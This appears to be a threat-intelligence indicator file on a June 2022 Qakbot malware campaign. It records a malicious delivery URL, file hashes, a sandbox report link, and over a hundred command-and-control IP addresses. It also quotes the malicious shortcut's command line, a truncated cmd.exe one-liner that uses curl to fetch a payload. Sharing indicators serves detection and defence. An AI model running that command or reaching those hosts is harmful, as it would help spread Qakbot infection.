Qakbot / Qakbot_AA_23.06.2022.txt

161 lines (147 loc) · 3.62 KB

Code Blame Raw

```
23.06.2022 | Qakbot | AA | Campaign 1655971687 | Version 403.780

************************************************

.url https://signaturefloorsgurgaon.com/au/miubedqa
.zip fb1b9270e396aa9b7c17a9639f5f5522a91ae0f357fcb719778122dd2b1e86b0 - U523
.dll 617c94a15fdfb071cfb9566bafa49d054f13e208a444719ab8ea64ed2140f06b

************************************************

https://tria.ge/220623-p724wsfgf2

************************************************

lnk file target:

C:\Windows\System32\cmd.exe /q /c echo 'BYRE' && MD "%HOMEPATH%\XL\zAkOR" && curl.exe --output %HOM

************************************************

Exec >>

cmd /c C:\Users\Admin\AppData\Local\Temp\minusdolorem\minusdolorem.lnk

cmd.exe" /q /c echo 'BYRE' && MD "\Users\Admin\XL\zAkOR" && curl.exe --output \Users\Admin\XL\zAkOR

```

```
**********************************************

c2's

38.70.253.226:2222
47.23.89.60:993
120.150.218.241:995
117.248.109.38:21
37.34.253.233:443
86.132.14.70:2078
111.125.245.116:995
217.165.85.191:993
176.45.232.204:995
5.32.41.45:443
93.48.80.198:995
100.38.242.113:995
94.59.252.166:2222
74.14.5.179:2222
71.13.93.154:2222
193.253.44.249:2222
108.60.213.141:443
45.241.231.78:993
217.128.122.65:2222
40.134.246.185:995
1.161.124.241:443
70.46.220.114:443
24.43.99.75:443
32.221.224.140:995
80.11.74.81:2222
31.215.184.140:2222
39.49.85.29:995
67.209.195.198:443
186.90.153.162:2222
148.64.96.100:443
67.165.206.193:993
210.246.4.69:995
208.107.221.224:443
89.101.97.139:443
88.234.116.71:443
121.7.223.45:2222
104.34.212.7:32103
69.14.172.24:443
41.228.22.180:443
197.87.182.60:443
24.178.196.158:2222
1.161.124.241:995
```

```
189.78.107.163:32101
39.52.74.55:995
2.34.12.8:443
182.191.92.203:995
173.21.10.71:2222
39.41.2.45:995
90.114.10.16:2222
184.97.29.26:443
76.25.142.196:443
47.156.129.52:443
24.55.67.176:443
190.252.242.69:443
70.51.132.161:2222
72.252.157.93:995
90.120.209.197:2078
72.252.157.93:993
72.252.157.93:990
177.45.64.254:32101
24.139.72.117:443
187.250.202.2:443
94.36.193.176:2222
109.12.111.14:443
89.86.33.217:443
179.158.105.44:443
63.143.92.99:995
45.46.53.140:2222
31.215.67.68:2222
188.136.218.225:61202
187.208.115.219:443
31.215.184.140:1194
39.57.60.246:995
24.122.142.181:443
84.241.8.23:32103
191.250.120.152:443
202.134.152.2:2222
91.177.173.10:995
148.0.43.48:443
172.115.177.204:2222
81.193.30.90:443
68.204.15.28:443
197.94.94.206:443
87.109.229.215:995
102.182.232.3:995
196.203.37.215:80
81.250.191.49:2222
83.110.94.105:443
```

```
119     201.176.6.24:995
120     173.174.216.62:443
121     31.215.70.37:443
122     175.145.235.37:443
123     174.69.215.101:443
124     187.172.164.12:443
125     201.172.23.68:2222
126     41.84.249.56:995
127     191.34.121.84:443
128     113.53.152.11:443
129     86.195.158.178:2222
130     109.228.220.196:443
131     82.41.63.217:443
132     82.152.39.39:443
133     106.51.48.188:50001
134     103.246.242.202:443
135     41.38.167.179:995
136     98.50.191.202:443
137     185.56.243.146:443
138     191.112.28.64:443
139     39.44.30.209:995
140     47.157.227.70:443
141     187.251.132.144:22
142     31.35.28.29:443
143     148.252.133.168:443
144     42.103.132.91:2222
145     180.129.108.214:995
146     138.186.28.253:443
147     89.137.52.44:443
148     120.61.2.218:443
149     122.118.129.227:995
150     124.109.35.171:995
151     75.99.168.194:61201
152     103.91.182.114:2222
153     37.210.156.247:2222
154     58.105.167.36:50000
155     187.207.131.50:61202
156     76.70.9.169:2222
157     187.211.80.39:443
158     176.67.56.94:443
159     103.116.178.85:995
160     143.0.219.6:995
161     79.80.80.29:2222
```